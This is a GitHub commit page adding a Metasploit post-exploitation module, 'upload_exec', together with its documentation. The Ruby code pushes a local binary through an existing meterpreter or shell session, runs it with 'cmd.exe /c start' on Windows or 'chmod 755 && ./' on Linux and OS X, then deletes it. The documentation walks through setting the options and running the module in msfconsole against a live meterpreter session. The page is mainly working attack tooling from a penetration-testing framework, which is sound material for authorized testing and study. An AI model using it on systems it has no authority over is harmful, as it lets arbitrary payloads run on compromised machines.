Skip to content

Commit e775f9c

Browse files
committed
Land rapid7#8259, Add post module to upload and execute a file
2 parents 35bc1fb + 8c463ab commit e775f9c

File tree

2 files changed

+120
-0
lines changed

2 files changed

+120
-0
lines changed
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
This module allows you to upload a binary file, and automatically execute it.
2+
3+
## Vulnerable Application
4+
5+
The following platforms are supported:
6+
7+
8+
* Windows
9+
* Linux
10+
* OS X
11+
12+
## Verification Steps
13+
14+
1. Prepare for an executable file you wish to upload and execute.
15+
2. Obtain a session from the target machine.
16+
3. In msfconsole, do ```use post/multi/manage/upload_exec```
17+
4. Set the ```LFILE``` option
18+
5. Set the ```RFILE``` option
19+
6. Set the ```SESSION``` option
20+
7. ```run```
21+
22+
## Options
23+
24+
**LFILE**
25+
26+
The file on your machine that you want to upload to the target machine.
27+
28+
**RFILE**
29+
30+
The file path on the target machine. This defaults to LFILE.
31+
32+
## Demo
33+
34+
```
35+
msf > use post/multi/manage/upload_exec
36+
msf post(upload_exec) > show options
37+
38+
Module options (post/multi/manage/upload_exec):
39+
40+
Name Current Setting Required Description
41+
---- --------------- -------- -----------
42+
LFILE yes Local file to upload and execute
43+
RFILE no Name of file on target (default is basename of LFILE)
44+
SESSION yes The session to run this module on.
45+
46+
msf post(upload_exec) > set lfile /tmp/
47+
lfile => /tmp/
48+
msf post(upload_exec) > set lfile /tmp/msg.exe
49+
lfile => /tmp/msg.exe
50+
msf post(upload_exec) > set rfile C:\\Users\\sinn3r\\Desktop\\msg.exe
51+
rfile => C:\Users\sinn3r\Desktop\msg.exe
52+
msf post(upload_exec) > sessions
53+
54+
Active sessions
55+
===============
56+
57+
Id Type Information Connection
58+
-- ---- ----------- ----------
59+
1 meterpreter x86/windows WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM 192.168.146.1:4444 -> 192.168.146.149:50168 (192.168.146.149)
60+
61+
msf post(upload_exec) > set session 1
62+
session => 1
63+
64+
msf post(upload_exec) > run
65+
66+
[-] Post interrupted by the console user
67+
[*] Post module execution completed
68+
```
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Post
7+
include Msf::Post::File
8+
9+
def initialize(info={})
10+
super( update_info( info,
11+
'Name' => 'Upload and Execute',
12+
'Description' => %q{ Push a file and execute it },
13+
'License' => MSF_LICENSE,
14+
'Author' => [ 'egypt'],
15+
'Platform' => [ 'win','linux','osx' ],
16+
'SessionTypes' => [ 'meterpreter','shell' ]
17+
))
18+
19+
register_options(
20+
[
21+
OptPath.new('LFILE', [true,'Local file to upload and execute']),
22+
OptString.new('RFILE', [false,'Name of file on target (default is basename of LFILE)']),
23+
], self.class)
24+
end
25+
26+
def rfile
27+
if datastore['RFILE'].blank?
28+
remote_name = File.basename(datastore['LFILE'])
29+
else
30+
remote_name = datastore['RFILE']
31+
end
32+
33+
remote_name
34+
end
35+
36+
def lfile
37+
datastore['LFILE']
38+
end
39+
40+
def run
41+
upload_file(rfile, lfile)
42+
43+
if session.platform.include?("windows")
44+
cmd_exec("cmd.exe /c start #{rfile}", nil, 0)
45+
else
46+
cmd_exec("chmod 755 #{rfile} && ./#{rfile}", nil, 0)
47+
end
48+
rm_f(rfile)
49+
end
50+
51+
end
52+

0 commit comments

Comments
 (0)